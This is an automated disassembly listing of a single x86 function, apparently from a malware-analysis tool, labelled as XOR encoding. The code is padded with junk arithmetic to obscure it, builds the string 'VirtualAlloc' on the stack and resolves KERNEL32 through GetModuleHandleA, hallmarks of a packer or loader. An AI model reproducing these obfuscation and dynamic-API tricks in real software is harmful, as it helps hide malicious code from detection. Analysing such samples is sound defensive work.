Function at 0x416c18
Capabilities:
Encode data using xor

Disassembly:
add byte [edx + eax - 1], dh
loopne 0x416bd4
rol bl, 0x55
mov ebp, esp
mov eax, dword [0x43f004]
xor eax, dword [0x43c650]
je 0x416bbd
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
pop ebp
ret
push 0x78
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop ebp
ret
invalid
jo 0x416b9b
mov ecx, 0x1def651b
shr eax, 5
call fcn.004061f9
test eax, 0xd4c5e57
jo 0x416c80
call fcn.00403909
xchg edx, eax
shr esi, 3
inc eax
ror edx, 0xc
inc edx
rol esi, 0x1f
call fcn.00407cf4
sub dword [str.June], 0x1a48a48
loop 0x416c1f
sub edx, 0xeea0afc
rol eax, 0xb
mov esi, 0x9651bc
add edi, 0x26447454
or esi, edi
xchg esi, eax
mov ecx, 0x6d9980
inc eax
neg esi
inc eax
add edx, dword [0x43cf54]
xchg esi, edx
xor ebx, dword [0x43cbfc]
neg esi
xchg eax, eax
mov dword [0x43c022], esi
ror ebx, 0xd
loop 0x416c6f
add bh, dh
fiadd word [edi + 0x223589c0]
rol byte [ebx], 0xc1
retf
shr esi, 9
mov esi, 0x19354dfe
xor edx, 0xad7dd40
inc edx
rol eax, 8
sub ecx, ecx
mov ebx, 0x24800d72
mov ecx, 0x779f2ca
xchg esi, eax
inc esi
xchg edi, esi
call fcn.0040bb1f
mov edx, dword [0x43c48a]
call fcn.0040bb1f
inc esi
add dword [0x43d5fc], ecx
xchg edx, esi
call fcn.004061f9
rol esi, 6
neg eax
loop 0x416cae
xor ecx, 0x10e10ade
shl ecx, 3
mov edx, 0xb8f6fad
xor eax, esi
mov ecx, dword [0x43c2d2]
xchg eax, edx
and esi, edi
xor eax, 0x55e9121
shl eax, 0x13
dec edi
xchg ecx, eax
shr esi, 0x14
push str.KERNEL32.dll
dec esi
mov dword [0x44019c], 0x7399f1c
inc eax
xor ecx, dword [0x43d008]
ror ebx, 9
not esi
xor eax, edi
xchg esi, esi
xor esi, dword [0x43d7ea]
xor esi, eax
inc eax
call fcn.0040bb1f
xor ecx, dword [0x43d10d]
not eax
call fcn.00408cc0
mov dword [0x4400a6], 0x4417a10
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
inc ecx
or dword [0x4402f0], ecx
dec eax
xor esi, 0x182ec63a
add edx, dword [0x440def]
neg eax
dec ecx
xchg esi, eax
inc edi
xor dword [0x440789], ecx
mov dword [0x440092], esi
dec edi
xchg esi, eax
inc ecx
neg eax
xor esi, 0x182ec63a
inc eax
dec ecx
push 0
ror eax, 0x1f
xor eax, esp
ror esi, 0x14
sub ecx, dword [0x440c43]
or dword [0x44015b], ebx
xor edi, 0xe3a297f
mov dword [0x4407a1], ebx
xor esi, eax
neg esi
dec esi
or dword [0x4406c8], ecx
xor esi, edx
mov dword [0x4406b3], 0x135d1d6
xor edx, dword [0x44089f]
call fcn.004061f9
call fcn.004024a9
xor esi, edx
mov dword [0x4401c8], ecx
inc esi
neg esi
xor esi, eax
sub dword [0x4403ea], ecx
xor edi, 0xe3a297f
xor dword [0x44019e], ebx
rol esi, 0x14
xor eax, esp
rol eax, 0x1f
push 0x636f6c6c
sub ebx, esp
sub ecx, dword [0x4408ec]
xor esi, 0x1d94d814
mov dword [0x44028a], 0x1d5a0701
xchg eax, eax
ror eax, 0x1c
xor dword [0x4404af], edi
rol eax, 0x12
xor esi, eax
xchg eax, eax
call fcn.00403e15
xor esi, 0x6c7d113
neg eax
rol ecx, 7
sub dword [0x4401e7], esi
neg eax
rol esi, 0x16
mov dword [0x4407d7], 0x63f2bb5
add ecx, ebp
sub ecx, ebp
mov dword [0x4404e2], 0x1a10d50
ror esi, 0x16
neg eax
or dword [0x44018a], esi
ror ecx, 7
neg eax
xor esi, 0x6c7d113
call fcn.004014ad
xchg eax, eax
xor esi, eax
ror eax, 0x12
rol eax, 0x1c
xchg eax, eax
xor esi, 0x1d94d814
add ebx, esp
push 0x416c6175
xor esi, eax
xor ecx, dword [0x440f16]
not eax
xor edx, dword [0x440bc8]
not edi
xor ecx, esp
sub ecx, dword [0x440850]
inc eax
ror eax, 0x1b
call fcn.004032b1
rol eax, 0x1b
dec eax
xor ecx, esp
not edi
not eax
xor esi, eax
push 0x74726956
xchg edx, eax
xor eax, 0x6dae299
inc esi
mov dword [0x44055e], ecx
ror ecx, 5
add ebx, 0x6ae073e
dec esi
call fcn.00402ab7
sub ecx, esp
xor edx, dword [0x440f53]
dec esi
add eax, 0x15850206
inc esi
xor edx, dword [0x440b36]
add byte [ecx], ch
cmp eax, 0x440464
sub edi, dword [0x440e2f]
xor ecx, eax
enter 0x1589, 0xffffffffffffffa0
push es
inc esp
add cl, al
rol byte [esi], 0xf7
fsubp st(0)
call 0x34416e1a
invalid
xor esi, eax